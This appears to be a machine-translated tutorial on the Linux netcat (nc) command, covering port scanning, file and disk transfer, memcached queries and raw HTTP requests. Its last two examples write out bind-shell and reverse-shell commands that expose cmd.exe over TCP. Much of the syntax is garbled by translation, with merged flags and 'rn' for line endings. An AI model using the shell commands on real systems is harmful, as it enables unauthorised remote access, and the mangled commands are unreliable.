Linux nc command usage introduction (NetCat), ncnetcat
Function Description: Powerful Network Tools
Syntax: nc [-hlnruz] [-g <gateway...>] [-G <Number of pointers>] [-I <delay in seconds>] [-o <output file>] [-p <communication port>] [-s <source address>] [-v...] [-w <timeout seconds>] [host name] [communication port...]
Parameters:
-G <gateway> sets up eight router hop communication gateways.
-G <Number of pointers> sets the source route indicator, which is a multiple of 4.
-H online help.
-I <latency in seconds> set the interval to send information and scan the communication port.
-L use the listener mode to control incoming data.
-N directly uses the IP address instead of the Domain Name Server.
-O <output file> specifies the file name, dumping the data that is being transferred in hexadecimal format into this file for storage.
-P <communication port> sets the communication port used by the local host.
-R: Specifies the communication port between the local host and the remote host.
-S <source address> sets the IP address of the data packet sent from the local host.
-U uses UDP transmission protocol.
-V detailed output -- use two-v to get more detailed content
-W <timeout seconds> sets the waiting time.
-Z uses the 0 input/output mode and is only used when scanning communication ports.
Nc example
1. Port Scanning
# Nc-v-w 2 192.168.2.34-z 21-24
Nc: connect to 192.168.2.34 port 21 (tcp) failed: Connection refused
Connection to 192.168.2.34 22 port [tcp/ssh] succeeded!
Nc: connect to 192.168.2.34 port 23 (tcp) failed: Connection refused
Nc: connect to 192.168.2.34 port 24 (tcp) failed: Connection refused
2. copy the file from 192.168.2.33 to 192.168.2.34
On 192.168.2.34: nc-l 1234> test.txt
On 192.168.2.33: nc 192.168.2.34 <test.txt
3. Simple chat tools
On 192.168.2.34: nc-l 1234
On 192.168.2.33: nc 192.168.2.34 1234
In this way, the two sides can communicate with each other. Use ctrl + C (or D) to exit.
4. Run the nc command to operate memcached.
1) Data Storage: printf "set key 0 10 6rnresultrn" | nc 192.168.2.34 11211
2) obtain data: printf "get keyrn" | nc 192.168.2.34 11211
3) delete data: printf "delete keyrn" | nc 192.168.2.34 11211
4) view the status: printf "statsrn" | nc 192.168.2.34 11211
5) simulate the top command to view the status: watch "echo stats" | nc 192.168.2.34 11211
6) Clear the cache: printf "flush_allrn" | nc 192.168.2.34 11211 (careful operation, the cache will be cleared)
5. nc-p 1234-w 5 host.example.com 80
Establishes a port 80 connection from local port 1234 to host.example.com, and times out in 5 seconds.
Nc-u host.example.com 53
U is a UDP connection
6. echo-n "GET/HTTP/1.0" r "n" r "n" | nc host.example.com 80
Connect to the host and execute
7. nc-v-z host.example.com 70-80
Scan port (70 to 80), which can be specified. -V: Output details.
8. Remote file copy
Copy the file from server1 to server2. You need to activate the listener with nc on Server 2 first,
Run on server2:
Root @ hatest2 tmp] # nc-lp 1234> install. log
Run on server1:
[Root @ hatest1 ~] # Ll install. log
-Rw-r-1 root 39693 December 20 2007 install. log
[Root @ hatest1 ~] # Nc-w 1 192.168.228.222 1234 <install. log
9. clone a hard disk or partition
The operation is the same as the copy above. You only need to obtain the data of the hard disk or partition by dd, and then transmit the data.
Cloning a hard disk or partition should not be performed on a mounted system. Therefore, after you start the system in the rescue mode (or use the Knoppix work with a CD) after using the boot from the installation disc, perform a similar listening action on Server 2:
# Nc-l-p 1234 | dd of =/dev/sda
The task of cloning an sda hard disk from server1 to server2:
# Dd if =/dev/sda | nc 192.168.228.222 1234
※The premise for completing the above work is to implement the CD rescue mode to support the NIC on the server and correctly configure the IP address.
10. Save the Web page
# While true; do nc-l-p 80-q 1 <somepage.html; done
11. Simulate HTTP Headers to obtain the webpage source code and return header information.
[Root @ hatest1 ~] # Nc www.linuxso.com 80
GET, HTTP, 1.1
Host: ispconfig.org
Referrer: mypage.com
User-Agent: my-browser
HTTP/1.1 200 OK
Date: Tue, 16 Dec 2008 07:23:24 GMT
Server: Apache/2.2.6 (Unix) DAV/2 mod_mono/1.2.1 mod_python/3.2.8 Python/2.4.3 mod_perl/2.0.2 Perl/v5.8.8
Set-Cookie: PHPSESSID = bbadorbvie1gn037iih6lrdg50; path =/
Expires: 0
Cache-Control: no-store, no-cache, must-revalidate, post-check = 0, pre-check = 0
Pragma: no-cache
Cache-Control: private, post-check = 0, pre-check = 0, max-age = 0
Set-Cookie: oWn_sid = xRutAY; expires = Tue, 23-Dec-2008 07:23:24 GMT; path =/
Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/html
[...]
After running the nc command, enter the content in red and press ENTER twice to obtain the HTTP Headers content from the other party.
12. Transmission directory
Copy the contents of the nginx-0.6.34 directory from server1 to server2. You must activate the listener with nc on Server 2 and run the following command on Server 2:
Reference
[Root @ hatest2 tmp] # nc-l 1234 | tar xzvf-
Run on server1:
Reference
[Root @ hatest1 ~] # Ll-d nginx-0.6.34
Drwxr-xr-x 8 1000 1000 4096 12-23 nginx-0.6.34
[Root @ hatest1 ~] # Tar czvf-nginx-0.6.34 | nc 192.168.228.222 1234
13. Bind a REMOTE host to a SHELL
Example:
Format: nc-l-p 5354-t-e c: \ winnt \ system32 \ cmd.exe
Description: bind the shell of the REMOTE host to the TCP5354 port of the REMOTE host.
14. Bind the REMOTE host to a SHELL and perform reverse connection.
Example:
The format is nc-t-e c: \ winnt \ system32 \ cmd.exe 192.168.x.x 5354.
Description: bind the REMOTE host's mongoshell and reverse connect to port TCP5354 of 192.168.x.x
The above are the most basic usage (in fact, there are many NC usage,
When combined with pipeline commands "|" and redirection commands "<", ">", and so on, the command functions are more powerful ......).